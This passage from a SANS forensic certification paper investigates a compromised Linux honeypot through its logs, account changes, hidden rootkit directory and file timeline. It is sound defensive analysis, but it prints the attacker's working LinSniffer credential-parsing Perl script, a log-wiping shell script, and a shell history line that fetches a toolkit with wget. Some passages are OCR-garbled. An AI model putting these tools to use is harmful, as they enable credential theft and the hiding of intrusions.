Nov 22 07:09:22 ipx-y-z-144 sshd[2393]: scanned from 218.186.160.70 with SSH-1.0-
SSH Version_Mapper. Don't panic.
Nov 22 07:09:22 ipx-y-z-144 sshd[2388]: Did not receive identification string from
<repeat 15 times>
Nov 22 07:09:31 ipx-y-z-144 sshd[2409]: Did not receive identification string from
218.186.160.70.
```

#### /var/log/maillog Analysis

We next investigate the maillog log to determine whether any mail activity was performed or attempted by the attacker during the compromise. The following excerpt from the maillog was identified as relevant to the compromise.

```
...
Nov 22 04:02:01 ipx-y-z-144 sendmail[1392]: hAMB21f01392: from=root, size=362, class=0,
nrcpts=1, msgid=<200311221102.hAMB21f01392@ipx-y-z-144.ph.ph.cox.net>,
relay=root@localhost
Nov 22 04:02:02 ipx-y-z-144 sendmail[1396]: hAMB21f01392: to=root, ctladdr=root (0/0),
delay=00:00:01, xdelay=00:00:01, mailer=local, pri=30362, dsn=2.0.0, stat=Sent
Nov 22 04:47:09 ipx-y-z-144 sendmail[2150]: hAMB17e02150: from=root, size=2689, class=0,
nrcpts=1, msgid=<200311221147.hAMB17e02150@ipx-y-z-144.ph.ph.cox.net>,
relay=root@localhost
Nov 22 08:49:40 ipx-y-z-144 sendmail[2493]: hAMB17e02150: hAMF1mL02493: sender notify:
Warning: could not send message for past 4 hours
Nov 22 08:49:40 ipx-y-z-144 sendmail[2493]: hAMF1mL02493: to=root, delay=00:00:00,
xdelay=00:00:00, mailer=local, pri=32678, dsn=2.0.0, stat=Sent
```

As we can see, it appears that the attacker used the honeypot's sendmail application, which is the standard email utility on Redhat Linux 7.2, to create messages for email. It also seems that the message was delayed, probably due to mis-configuration issues in the mail client setup. As a result, the messages should still exist within the default location in Linux for queue'ed e-mail messages, which is the /var/spool/mqueue directory. This message will be examined later in the media analysis effort, as it should include an recipient email address that may add clues to who the attacker may have been.

#### System File Modifications

We saw from above that the attacker made an account with username 'daniel.' This being the case, we should expect to see modifications to the /etc/passwd, /etc/shadow,/ /etc/group, and /etc/gshadow files, as these are the files used by Linux to store user information.

As expected, we see the following additions appended to each of the aforementioned user configurations files. The nature of their entry suggests that the attacker likely used a Linux tool specifically designed for adding and modifying users, such as 'adduser' instead of directly manipulating the files. The attacker would have used minimal options with the adduser command, as some of the information fields in the /etc/passwd entry remain blank. This could mean that the attacker wanted to provide minimal information in the case of a forensic audit, but probably just means that the attacker didn't know or simply didn't care enough to fully populate the user information while creating the Daniel account.

(ato/papayud abangaa)
/etc/passwo changes.
<original contents="" file=""></original>
daniel:x:501:501::/home/daniel:/bin/bash
(stells be allow the second
/etc/shadow changes:
<original contents="" file=""></original>
daniel:\$1\$fd4pQZhJ\$xowKn9AAKH9Yf.DjAiige.:12378:0:99999:7:::
/etc/group changes:
Continual file contents)
depident file concents/
daniel:x:Jui:
/etc/gshadow changes:
<original contents="" file=""></original>
daniel:!::

We next examine the /etc/ftpusers file to determine whether or not the attacker made any modifications. It appears that the attacker has appended 2 entries to the end of the /etc/ftpusers file, namely: anonymous and ftp. Adding entries to this file actually prevents these users from logging into the system via FTP. By appending the two accounds (anonymous and ftp) to the end of the file, the attacker has hardened the system to be invulnerable to the same FTP exploit as they used to gain access themselves.

#### /etc/ftpusers

# The	ftpusers	file is	deprecated.	Use	deny-uid/den	y-gid	in	ftpaccess.	1
root									
bin									1
daemo	n								
adm									

lp	"
sync	
shutdown	
halt	
nail	
news	
uucp	
operator	
games	
nobody	
anonymous	
ftp	

#### Setuid/Setgid files

Setuid/Setgid programs are those that have special privileges allowing them to change the level of permissions available during program run-time within the Linux (and Unix) environment<sup>2</sup>. This program executes with the permission of the file owner. Thus, setuid/setgid programs that are owned by the root (the Unix system administration account), or exist within root's group present a high security risk. If a regular user is able to manipulate such a program to execute arbitrary code, it would be executed within the context of the programs owner. If this owner is root, the unprivileged user executes code as the root user. We have decided to search for any new and unusual setuid/setgid programs that may have been planted by the attacker as a method of possibly escalating privileges via the Daniel account created as detected in previous analysis.

A search for the setuid/setgid programs was done by using the file command, but no unusual files were identified in the search

#### Hidden Files

Attackers often look to install software within the file-system for a multitude of reasons including the desire to sniff passwords off of the network as a means to compromise more systems, as a means of storing illegal files, or for creating a backdoor to ensure future system access. One way of concealing directories in Unix is to prepend a file or directory name with a '.' (dot), thereby creating what is known as a hidden file. By prepending a directory name with a dot, a normal file listing command such as 'Is' will not show these hidden directories. Attackers often create hidden directories within directories that are not typically visited by users. We can use the find command, as seen below, to specifically search and list any hidden directories that appear to be illegitimate.

[root@GCFA	gcfa]# find	name "	.*" -exec ls -al {} \;	We use the find command
				to identify all
drwxr-xr-x	3 root	root	1024 Nov 22 04:52	directories starting
./root/etc/	'nmh/			with a `.',
drwxr-xr-x	2 root	root	1024 Nov 22 04:25 ./root	unsuspicious
/.ncftp				directories have been
				omitted.

The above search has returned a very interesting result. The /etc/nmh/... file is another clear sign of compromise activity. Using the 3 dots as a name of the directory, the attacker attempts to conceal their files within a directory that may appear to be the same

as the '..' directory, which is a link to the next higher directory in every Linux/Unix filesystem implementation. Unfortunately for the attacker, we fully understand the difference, and know the '...' trick to be very common amongst computer attackers. This is a clear and indisputable sign of compromise activity. Another hidden directory that appears to be related to the compromise is /root/.ncftp. ncftp is a FTP client utility that is known to create an .ncftp configuration directory within the executing users home directory. Therefore, it can be deduced that the attacker operated the ncftp command as the root user which demonstrates that the attacker gained unlimited access to the system.

#### Attacker Created Hidden Files and Directories

Having identified what is clearly an attacker created directory (the /etc/nmh/... directory), we can explore the contents of it using the Unix Is command. The analysis below shows us that the ... directory was created at 4:52 am on November 22<sup>nd</sup>, 2003. Due to the dates of the files within this directory, it appears that the attacker used this directory to store rootkit files. A thorough time-line analysis of this activity will be presented in the next section.

[root@GCFA .	]i	‡ pwd							
/mnt/drive/GCFA/media_analysis/gcfa/root/etc/nmh/									We verify our present
									workind directory.
[root@GCFA .	· • ] †	‡ ls -	altRr						We perform a recursive
.:									directory listing of
total 26									all files within the
drwxr-xr-x	2	root	root	1024	Mar	11	2003	curatare	attacker's … directory.
-rwxr-xr-x	1	root	root	17960	Nov	22	04:46	write	
-rwxr-xr-x	1	root	root	4060	Nov	22	04:46	read	
drwxr-xr-x	3	root	root	1024	Nov	22	04:46	••	
-rw-rr	1	root	root	0	Nov	22	04:47	tcp.log	
drwxr-xr-x	3	root	root	1024	Nov	22	04:52	•	
./curatare:									
total 158									
-rwxr-xr-x	1	root	root	84568	Nov	3	2001	ps	
-rwxr-xr-x	1	root	root	53910	Nov	3	2001	pstree	
-rwxr-xr-x	1	root	root	1259	Nov	7	2001	sshd	
-rwxr-xr-x	1	root	root	1084	Dec	7	2001	clean	
-rwxr-xr-x	1	root	root	7144	Jan	17	2002	chattr	
-rwxr-xr-x	1	root	root	7144	Feb	28	2002	attrib	
drwxr-xr-x	2	root	root	1024	Mar	11	2003		
drwxr-xr-x	3	root	root	1024	Nov	22	04:52	••	

Investigating the files contained within the hidden directory shows us that the read, write, and tcp.log directories may be related. Using the file command, we can see that the read command is actually a perl script, which means that we can view the entire contents of the file and understand its purpose. The write program appears to be an executable, but is dynamically linked, allowing us to understand it's library dependencies. The tcp.log file is empty.

```
[root@GCFA ...]# file *
Curatare: directory
read: a /usr/bin/perl script text executable
tcp.log: empty
write: ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared
libs), stripped
We use the file command
to understand the
content of the
attacker's files.
```

Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

By examining the contents of the read Perl script, we can see that it appears to be a parser for LinSniffer, which is a network traffic collection program. Examining the script shows us that it conveniently parses usernames and passwords for IMAP, telnet, and ftp transactions. This leads us to believe that the tcp.log file may exist to collect LinSniffer text data. The read script is examined below. Password collection/parsing logic is listed below in red text.

```
[root@GCFA ...]# cat read
#!/usr/bin/perl
# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com>
| = 1;
$perl = "/usr/bin/perl";
$argc = @ARGV;
&PrintUsage if ( $argc < 1 );
# I know, getopts(), but I don't wanna use any modules here..
if ( $argc == 1 )
{
        if ( $ARGV[0] eq "-z" ) {
                &ParseIt;
        }
        else
        {
                $file = $ARGV[0];
                &NoSuchFile unless ( -f $file );
                & PrintHeader;
                if ( $file =~ /\.gz$/ ) {
                        print `zcat $file | $perl $0 -z | sort -u`;
                }
                else {
                        print `cat $file | $perl $0 -z | sort -u`;
                }
                &PrintFooter;
        }
elsif ( \$argc == 2 )
{
        if ( $ARGV[0] eq "-z" && $ARGV[1] eq "-d" )
        {
                $dontGuess = 1;
                &ParseIt;
        }
        elsif ( $ARGV[0] eq "-d" )
                $file = $ARGV[1];
                &NoSuchFile unless ( -f $file );
                &PrintHeader;
                if ( $file =~ /.gz$/ ) {
                        print `zcat $file | $perl $0 -z -d | sort -u`;
                }
                else {
                        print `cat $file | $perl $0 -z -d | sort -u`;
                1
                &PrintFooter;
        elsif ( $ARGV[0] eg "-z" )
        {
                &ParseIt;
        else { &PrintUsage; }
```

© SANS Institute 2004,

```
else { &PrintUsage; }
sub PrintUsage
{
        print "Usage: $0 [-zd] inputFile\n";
        print "
                    -z Read from stdin (disables uniq, sort, header/footer etc!)\n";
-d Don't \"guess\" telnet passwords\n\n";
        print "
        exit(1);
}
sub ParseIt
{
        while ( &ReadLine )
         {
                  # Continue if its not a "start" line.
                 next unless ( ($host, $port) = $line =~
m/[^{s}+s=>s([^{s}+)s[(^{d}+)]);
                  # Read in the next line
                 &ReadLine;
                 next if ( \$line = m/^{-{5}/} );
                 if ( $port == 21 || $port == 110 ) { &DoFaP; }
                          elsif ( $port == 143 ) { &DoIMAP; }
                                   elsif ( $port == 23 && !$dontGuess ) { &DoTelnet; }
                                            else { &DoOthers; }
        }
}
sub ReadLine {
        exit(1) unless ( $line = <STDIN> );
        exit(0) if ( $line eq "Exiting..." );
        return(1);
}
sub PrintIt
{
        print "[" . " " x (3 - length($port)) . $port . "] " . " " x (5 - length(
$port<100 ? $port . " " : $port ) );</pre>
        print $host . " " . " " x (27 - length($host));
print $user . " " . " " x (15 - length($user));
        print $pass . "\n";
}
# Handle "unknown" servies
sub DoOthers
{
        data = data
        while ( &ReadLine && $line !~ /^-{5}/ ) {$data .= $line;}
         # Remove the nav-key stuff.
        $data =~ s/OBOB//mg;
        $data =~ s/AHAH//mg;
        $data =~ s/AHAH//mg;
        $data =~ s/OAOA//mg;
        data = s/\[A\[A/mg;
                                             #]]
        data = < s/[B]/mg;
                                            #11
         # Replace the newline chars with :
        $data =~ s/\n/:/mg;
        chop($data);
        print $port . " " . " " x (5 - length($port));
print $host . " " . " " x (27 - length($host));
        print $data . "\n";
}
sub DoFaP
```

© SANS Institute 2004,

```
# Read in the next line if its a AUTH line, exit if ReadLine failes
         if ( $line =~ /^AUTH/ ) {
                 exit(1) unless &ReadLine;
         # Set the user variable. Return if not found.
         return(0) unless ( ($user) = $line =~ /^USER\ (.+)/ );
         return(0) if ($user eq "ftp" || $user eq "anonymous" );
         # Read in another line.
         &ReadLine;
         # Get the password, return if its not found
         return(0) unless ( ($pass) = $line =~ /^PASS (.+)/ );
         &PrintIt;
}
# This one handle IMAPs (port 143)
sub DoIMAP
{
         return(0) unless ( ($user, $pass) = $line =~ /LOGIN ([^\s]+) ([^\s]+)/ );
         &PrintIt;
}
# This one handle the telnets (port 23)
sub DoTelnet
{
my(@sep) = ( "VT100!", "VT100", "vt100!", "vt100", "VT220P!", "VT220P", "VT200!",
"VT220", "vt220!", "vt220", "\$ANSI\"!", "ANSI!", "ANSI", "UNKNOWN!", "UNKNOWN",
"CONSOLE!", "CONSOLE", "\$!", "!");
         for ( $i=0; $sep[$i]; $i++ )
                  if ( ($user) = $line =~ /$sep[$i](.+)/ )
                          exit(1) unless &ReadLine;
                           # The line is one of linsniffs "separator" lines
                           return(0) if ( $line =~ m/^-{5}/ );
                          chop($line);
                           # Right now, we just except it to be the passwd
                           # but in future versions, we'll check if it looks much like
                           # the login, and if it does, we'll take the next one instead.
                           $pass = $line;
                           &PrintIt;
}
sub PrintHeader
{
        print `date`;
print `ls -l $file`;
print "-" x 70 . "\n";
}
sub PrintFooter
{
        print "-" x 70 . "\n";
print `date`;
        print "-" x 67 . "EOF\n";
}
sub NoSuchFile
```

#### Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

```
print "Error: Cannot open file \"$file\" for reading.\n\n";
exit(1);
}
#6516A4
##EOF##
```

We can examine the write executable using Id to list directory dependencies, and the strings command to extract text streams from the binary. The suspicious strings are highlighted in red. "cant set promiscuous mode" is probably an error message that would be printed if the program was unable to put the network adapter into promiscuous mode, which would be needed to collect network information not destined for the honeypot host itself. Write is likely a sniffer program. Whether or not it is LinSniffer is at this point impossible to know for sure, however, the implications from the 'read' perl script is that it probably is, or at least produces logs similar to LinSniffer. Both read and write have knowledge of tcp.log.

To summarize, these files represent a sniffer program, a parser program, and a log file.

[root@GCFA]# strings write	We use the strings
/lib/ld-linux.so.2	command to list the
gmon start	human readable strings
	embedded within the
strcpy	write executable.
ioctl	
stdout	
ctype b	
perror	
gethostbyaddr	
socket	
fflush	
alarm	
fprintf	
deregister frame info 🛛 🦳	
signal	
read	
ntohs	
inet ntoa	
time	
fclose	
stderr	
htons	
exit	
fopen 🕓	
_IO_stdin_used	
libc_start_main	
register_frame_info	
close	
GLIBC_2.1	
GLIBC_2.0	
PTRh	
QVh	
Ih8	
t(hv	
cant get SOCK_PACKET socket	
cant get flags	
cant set promiscuous mode	Į

We use the strings command to investigate the contents of the write executable:

[CAPLEN Exceeded]	
[Timed Out]	
[RST]	
[FIN]	
%s =>	
%s [%d]	
eth0	
tcp.log	
cant open log	
Exiting	

We will next inspect the contents of the curatare directory. The first files, named attrib, and chattr, are identical in content, and appear to be a trojaned linux chattr command

<pre>[root@GCFA curatare]# strings attrib  grep usage usage: %s [-RV] [-+=AacdisSu] [-v version] files</pre>	We extract the usage info from the attrib
	binary with the strings command
[root@GCFA bin]# strings ./chattr grep usage	Here we see that
usage: %s [-RV] [-+=AacdijsSu] [-v version] files	<pre>chattr's usage info is identical, except for a</pre>
Č	few additional options.
[root@GCFA curatare]# md5sum attrib	attrib has the same
b2969301f179b6e74e5102c4af0b49e1 attrib	md5sum hash as chattr
[root@GCFA curatare]# md5sum chattr	chattr has the same
b2969301f179b6e74e5102c4af0b49e1 chattr	md5sum hash as attrib.
0	

The next file in the curatare directory is the clean script. Based upon reading the contents of the instructions, it appears that this script can be used to remove lines containing a keyword specified on the command line to any directory within the /var/log directory.

```
[root@GCFA curatare]# cat clean
#!/bin/bash
BLK=''
RED=''
GRN=''
YEL=''
BLU=''
MAG=''
CYN=''
WHI=''
DRED=''
DGRN=''
DYEL=''
DBLU=''
DMAG=''
DCYN=''
DWHI=''
RES=''
if [ $# != 1 ]
then
 echo "${BLK}* ${DWHI}Usage${WHI}: "`basename $0`" <${DWHI}string${WHI}>${RES}"
 echo " "
 exit
fi
echo "${BLK}*${RES}"
echo "{BLK} \times {DWHI}Cleaning logs.. This may take a bit depending on the size of the
logs.${RES}"
WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" |
grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" | grep -v "@")
```

```
for fil in $WERD
do
    line=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
    echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}...${RES}"
    grep -v $1 /var/log/$fil > new
    mv -f new /var/log/$fil | awk -F ' ' '{print $1}')
    let linedel=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
    let linedel=$(($line-$newline))
    echo "${WHI}$linedel ${DWHI}Lines removed!${RES}"

done
echo "${BLK}* ${DWHI}Logs Cleaned!${RES}"
```

The remaining files in the curatare directory appear to be variations of the ps and pstree commands, and are possibly trojaned versions, although investigating the files with the strings command did not yield any noticeable evidence suggestiong this.

Investigation of the contents of 2<sup>nd</sup> hidden directory in the root account folder appears to merely have resulted from the attacker's invocation of the ncftp command.

```
[root@GCFA root]# pwd
/mnt/drive/GCFA/media_analysis/gcfa/root/root
[root@GCFA root]# ls -latr .ncftp
total 6
-rw------ 1 root root 3952 Nov 22 04:25 firewall
drwxr-xr-- 3 root root 1024 Nov 22 04:25 ..
drwxr-xr-x 2 root root 1024 Nov 22 04:25 .
[root@GCFA root]# file .ncftp/firewall
.ncftp/firewall: ASCII English textWe verify our present
working directory and
perform a directory
listing on the contents
of the hidden .ncftp
directory
```

#### User log Evidence

daniel's shell history was left untouched and intact, yielding information regarding the source of his files! Also, this suggests that Daniel may have been born in 1984.

[root@GCFA gcfa]# cat ./home/daniel/.bash\_history
cd /tmp
wget earth.prohosting.com/dan1984/dan.tgz
tar xzvf dan.tgz
We examine the contents
of the attackers
history file.

## Last command for checking login durations and times are listed by using the last command

[root@GC]	FA log] <mark># last</mark>	-f ./wtmp							We use the last command
daniel	pts/0	statia8.comaltec	Sat	Nov	22	04:46	-	04:47	to construct the user
(00:01)									login history from the
ftp	ftpd1591	218.3.240.10	Sat	Nov	22	04:24		gone	Unix wtmp binary log
- no log	out								file.
reboot	system boot	2.4.7-10	Sat	Nov	22	02:47			
(64+09:2	0)								
root	tty1		Sat	Nov	22	02:37	-	down	
(00:08)									
reboot	system boot	2.4.7-10	Sat	Nov	22	02:35			
(00:10)									
root	tty2		Sat	Nov	22	02:25	-	down	
(00:09)									
root	tty1		Sat	Nov	22	02:18	-	down	
(00:15)									
reboot	system boot	2.4.7-10	Sat	Nov	22	02:16			
(00:17)									
root	tty1		Thu	Nov	20	21:24	-	down	
(1+03:41	)								
reboot	system boot	2.4.7-10	Thu	Nov	20	21:22			

#### Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

(1+03+43)	
(1,00,10)	

#### Email Activity

We previously noticed that the system had complained of error related to trying to send email in the /var/log/maillog log file. We can inspect the contents of the /var/spool/mqueue directory to determine whether the mail related to the logs still existed at the time of system quarantine. We confirm below that it does. By inspecting the contents of the mail message, we can view the intended recipient address of the mail, danni3ll@yahoo.com.au.

[root@GCFA_mgueue]#_pwd	We verify our present
/mnt/drive/GCFA/media_analysis/gcfa/yar/spool/mgueue	working directory
[root@GCFA mqueuel# ]s _latr	Y arrouting arroutery
total 4	
-rw 1 root root 2565 Nov 22 04.47	
dfhamBl7e02150	
-rw 1 root root 651 Nov 22 10:49	
afhAMB17e02150	
[root@GCFA_mqueue]#_cat_qfhAMB17e02150	We examine the contents
V4	of the mail header
T1069501627	file
K1069523380	
N6	
P572689	
T8/7/32135	
Mhost man: lookun (vahoo com au): deferred	
Fub	
\$ root@localbost	
Sroot	
Aroothiny-y-z-144 ph ph cov net	
RIGOUGIPX-y-2-144.phi.phi.cox.net	
H2D2Daturn Dath. (a)	
H22Pagoived, (from root@logalhegt)	
h: Received. (110m 1000 $(0.11050)$	
for dappi2110uaboo com aut Sat 22 Nou 2003 $0.4.47.07 = 0.700$	
101 damiiiiiidyanoo.com.au, 3ac, 22 Nov 2005 04.47.07 -0700	
H:D:Date: Sat, 22 NOV 2005 04:47:07 -0700	
H?F?FIOM: IOOU CIOUL	
H:X:Full=Name: 1000	
H:M:Message=1d: <20031122114/.NAMB1/e02150@ipx-y-z-	
144.ph.ph.cox.het/	
H??TO: dannisii@yanoo.com.au	
H??Subject: Linux ipx-y-z-144.pn.pn.cox.net 2.4.7-10 #1 Thu Sep	
6 1/:2/:2/ EDT 2001 1686 UNKNOWN	
[root@GCFA mqueue]# cat dinAMB1/e02150	We examine the contents
inet addr:x.yz.144 Bcast:x.y.z.255 Mask:255.255.240.0	of the delayed mail
inet addr:127.0.0.1 Mask:255.0.0.0	file.
ipx-y-z-144.ph.ph.cox.net	
Linux ipx-y-z-144.ph.ph.cox.net 2.4.7-10 #1 Thu Sep 6 17:27:27	
EDT 2001 1686 UNKNOWN	
4:4/am up 2:00, 1 user, load average: 0.2/, 0.06, 0.02	
USER TTY FROM LOGING IDLE JCPU PCPU	
WHAT	
daniei pts/U statia8.comaitec 4:46am 21.00s 0.06s	
-bash	
processor : U	
venaor_ia : GenuineIntel	
cpu family : 15	
model : 2	
model name : Intel(R) Pentium(R) 4 CPU 2.80GHz	
stepping : 8	
сри мнz : 2793.705	

Jason\_B\_Anderson\_GCFA

cache size :	512 KB							
fdiv_bug :	no							
hlt_bug :	no							
f00f_bug :	no							
coma_bug :	no							
fpu : yes								
fpu exception :	ves							
cpuid level :	2							
wn · ves	-							
flage flage	me de nee tec mer nae moe ovê anic een mtrr nge							
maa amar nat na	and the past take more than appendix and the past							
lica cilov pac ps								
bogomips :	555/.45							
total:	used: free: shared: buffers: cached:							
Mem: 261660672	182403072 79257600 77824 29462528 78041088							
Swap: 427671552	0 427671552							
MemTotal:	255528 kB							
MemFree:	77400 kB							
MemShared.	76 kB							
Buffers.	28772 kB							
Cachad.								
Cached:	/0212 KB							
Swapcached:								
Active:	18160 KB							
Inact_dirty:	86900 kB							
Inact_clean:	0 kB							
Inact_target:	1948 kB							
HighTotal:	0 kB							
HighFree:	0 kB							
LowTotal:	255528 kB							
LowFree:	77400 kB							
SwapTotal:	417648 kB							
SwapFree:	117648 kB							
NrSwapPages:	10/412 pages							
DING wabaa aam	10412 pages							
PING yanoo.com	(00.218./1.198) from x.y.2.144 : 50(84) bytes of							
data.								
64 bytes from w	1.rc.vip.scd.yahoo.com (66.218./1.198):							
icmp_seq=0 ttl=	246 time=62.416 msec							
64 bytes from w1.rc.vip.scd.yahoo.com (66.218.71.198):								
icmp_seq=1 ttl=246 time=39.183 msec								
64 bytes from w	1.rc.vip.scd.yahoo.com (66.218.71.198):							
icmp seq=2 ttl=	246 time=39.364 msec							
64 bytes from w	1.rc.vip.scd.yahoo.com (66.218.71.198):							
icmp seg=3 ttl=	246 time=35.598 msec							
64 bytes from w	1.rc.vip.scd.vahoo.com (66.218.71.198):							
icmp seg=4 ttl=	246 time=35 677 msec							
64 bytes from w	21 re vin sed vahoe com (66 218 71 198).							
iamp cogref ++1-	246 time=25 923 maga							
ICMP_Seq=5 CCI=	240 CIME-55.055 MSeC							
,								
yahoo.com p	ing statistics							
6 packets trans	mitted, 6 packets received, 0% packet loss							
round-trip min/	avg/max/mdev = 35.598/41.345/62.416/9.558 ms							
Kernel IP routi	ng table							
Destination	Gateway Genmask Flags Metric Ref							
Use Iface								
X.y.z.0 0.	0.0.0 255.255.240.0 U 0 0							
0 eth0								
127.0.0.0	0.0.0 255.0.0.0 U 0 0							
0 10								
0 0 0 0								
0.0.0.0	A.y.2.1 0.0.0.0 00 0 0							
U ELIIU								

The above email was probably generated by the attacker to automatically summarize compromised system information into a single email account during the installation of their rootkit.

#### Chkrootkit Analysis

The last check we perform is to use the chkrootkit script to inspect the contents of the honeypot<sup>3</sup>. chkrootkit contains logic capable of detecting a wide number of previously

analyzed rootkits. We see that ifconfig is considered to be infected, probably in a way that prevents ifconfig reporting the network card from reporting that it is in promiscuous mode. netstat was probably trojaned to prevent the listing of listening network ports that would be used as backdoors. As will be seen below, it is used to conceal an SSH daemon renamed as kflushd listening on port 123.

[root@GCFA gcfa]# chkrootkit -r .
...
Checking `ifconfig'... INFECTED
...
Checking `netstat'... INFECTED

Data irrelevant to the investigation has been deleted for brevity.

## **Timeline Analysis**

Timeline analysis will be performed on file-system data and on network packet captures from the bridging firewall.

#### File-system based Timeline Analysis

Filesystem-based Timeline analysis was performed by implementing features of the Sleuth Kit v1.67<sup>4</sup>. To begin the analysis, Brian Carrier's Sleuthkit was downloaded from <u>http://www.sleuthkit.org</u> along with the md5sum for verification purposes. After download of correct source code was completed and verified, the installation was performed in accordance with the instructions outlined in the INSTALL document contained in the package. After compilation, the executable and manual paths were added to the PATH environment variable for the Unix shell. This was performed to simplify execution commands during analysis.

To prepare the timeline, we extract information from the file-system images via use of the fls command. Upon extraction of the time information from the file-system metadata structures into a common file, the mactime utility is used to re-organize the data into human readable format. Upon observation of the size of the file, it is deemed favorable to pre-pend each line with a number to ease analysis on the large quantity of data, this is done with the cat command, using the –n option which pre-pends numbers to the data received on the STDIN file descriptor.

	root@GCFA media_analysis]# fls -f linux-ext3 -m /boot/ -r -p	fls is invoked
l	<pre>partition_1.dd &gt;&gt; honeypot.fls</pre>	specifying the linux-
	[root@GCFA media_analysis]# fls -f linux-ext3 -m /usr/ -r -p	ext3 file-system,
	<pre>partition_2.dd &gt;&gt; honeypot.fls</pre>	path's are explicitly
	[root@GCFA media_analysis]# fls -f linux-ext3 -m /home/ -r -p	stated for each file-
l	<pre>partition_3.dd &gt;&gt; honeypot.fls</pre>	system based upon the
l	[root@GCFA media_analysis]# fls -f linux-ext3 -m /root/ -r -p	fdisk -l data performed
	<pre>partition_5.dd &gt;&gt; honeypot.fls</pre>	earlier in the
l	[root@GCFA media_analysis]# fls -f linux-ext3 -m /var/ -r -p	analysis. All data is
	<pre>partition_7.dd &gt;&gt; honeypot.fls</pre>	concatenated in a file.
l		
I	<pre>[root@GCFA media_analysis]# mactime -g ./gcfa/root/etc/group -p</pre>	We use the mactime
l	./gcfa/root/etc/passwd < honeypot.fls > honeypot.timeline	script to organize the
	./gcfa/root/etc/passwd < honeypot.fls > honeypot.timeline	script to organize the fls data extraction
	./gcfa/root/etc/passwd < honeypot.fls > honeypot.timeline	script to organize the fls data extraction into a more reader
	./gcfa/root/etc/passwd < honeypot.fls > honeypot.timeline	script to organize the fls data extraction into a more reader friendly format.
	<pre>./gcfa/root/etc/passwd &lt; honeypot.fls &gt; honeypot.timeline [root@GCFA media_analysis]# cat -n honeypot.mactime &gt;</pre>	script to organize the fls data extraction into a more reader friendly format. Numbers are prefixed to
	<pre>./gcfa/root/etc/passwd &lt; honeypot.fls &gt; honeypot.timeline [root@GCFA media_analysis]# cat -n honeypot.mactime &gt; n.honeypot.mactime</pre>	script to organize the fls data extraction into a more reader friendly format. Numbers are prefixed to each line in the
	<pre>./gcfa/root/etc/passwd &lt; honeypot.fls &gt; honeypot.timeline [root@GCFA media_analysis]# cat -n honeypot.mactime &gt; n.honeypot.mactime</pre>	script to organize the fls data extraction into a more reader friendly format. Numbers are prefixed to each line in the timeline to provide a
	<pre>./gcfa/root/etc/passwd &lt; honeypot.fls &gt; honeypot.timeline [root@GCFA media_analysis]# cat -n honeypot.mactime &gt; n.honeypot.mactime</pre>	script to organize the fls data extraction into a more reader friendly format. Numbers are prefixed to each line in the timeline to provide a quick indexing method.

Opening the timeline shows activity as far back as 1994 spanning to the date of OS media packaging, this data was irrelevant to analysis and was discarded. The first case-relevant data was identified by creation of the attacker's rootkit as listed below. The meta data associated with the creation would have been captured at time of tar archive

75537 Sat Nov 03 2001 12:04:48	84568 m/-rwxr-xr-x root	root	16223	
/root/etc/nmh//curatare/ps				
75538 Sat Nov 03 2001 12:05:46	53910 m/-rwxr-xr-x root	root	16228	
/root/etc/nmh//curatare/pstree				
75539 Wed Nov 07 2001 23:46:54	1259 m/-rwxr-xr-x root	root	16224	
/root/etc/nmh//curatare/sshd				
75540 Fri Dec 07 2001 07:01:21	1084 m/-rwxr-xr-x root	root	16225	
/root/etc/nmh//curatare/clean				
75541 Thu Jan 17 2002 05:58:51	7144 m/-rwxr-xr-x root	root	16227	
/root/etc/nmh//curatare/chattr				
75542 Thu Feb 28 2002 02:00:30	7144 m/-rwxr-xr-x root	root	16226	
/root/etc/nmh//curatare/attrib				
75543 Tue Mar 11 2003 14:33:15	1024 m d/drwxr-xr-x root 🖉	root	16222	
/root/etc/nmh//curatare				

Operating system install is initiated as communicated below with the creation of the 5 filesystems: var, root, boot, home, and usr.

75545	Thu Nov 20 2003	13:32:25 1	L2288 m.c (	d/drwxr-xr-x	root	root	11
/root/l	ost+found						
75546	Thu Nov 20 2003	13:32:29	12288 m.c	d/drwxr-xr-x	root	root	11
/boot/l	ost+found						
75547	Thu Nov 20 2003	13:32:30	16384 m.c	d/drwxr-xr-x	root	root	11
/home/l	ost+found						
75548	Thu Nov 20 2003	13:32:31	16384 m.c	d/drwxr-xr-x	root	root	11
/usr/lo	st+found						

## Operating system install lasted almost an hour, the information below represents the end of the operating system installation.

160149 Thu Nov 20 2003 14:21:31	49315840 .a/-rwxr-xr-x root	root	12
/usr/share/apps/kfind/icons/loco	lor/22x22/^C\$^ ^L		
<88>B^C<89>^L\$<89><8d>4òÿÿÃ"J	¶òÃ;X<8d>F <89><85>0òÃ;Ã;ZÃ@^D	(deleted	l)
160150	49315840 .a/-rwxr-xr-x root	root	12
/usr/share/doc/nfs-utils-0.3.1/	(deleted)		
160151	49315840 .a/-rwxr-xr-x root	root	12
/usr/share/doc/freetype-2.0.3/^H	^Eÿÿ (deleted)		
160152	49315840 .a/-rwxr-xr-x root	root	12
/usr/lib/perl5/site perl/5.6.0/X	ML/Filter/ (deleted)		
160153	49315840 .a/-rwxr-xr-x root	root	12
/usr/share/apps/kfind/icons/loco	lor/22x22/^C\$^_^L		
<88>B^C<8d>V^\<89>^T\$<89><95>Ãñ	Â;ñÃ Cb8><68> N Sâ©Â°ããã Sã;Ã;ã;ã	Á;XÃA^D (	deleted)
160154	49315840 .a/-rwxr-xr-x root	root	12
/usr/share/apps/kfind/icons/loco	lor/22x22/^C\$^ ^L		
<88>B^C<8d>V^\<89>^T\$<89><95>äÃ	±Ã;Ã:ðªòÃ;Y<8d>N <89><8d>à ñÂ	I^AAX;Ã;Ă	(deleted)
160155 Thu Nov 20 2003 21:22:22	61578 ma/-rw-rr root	root	12081
/var/log/ksyms.3			

Upon configuration of the bridging firewall and external monitoring facilities, the honeypot is connected to Internet. This can be identified by the access of network card driver kernel module and by the access of the network connection scripts in /etc/sysconfig/networking.

, , ,								
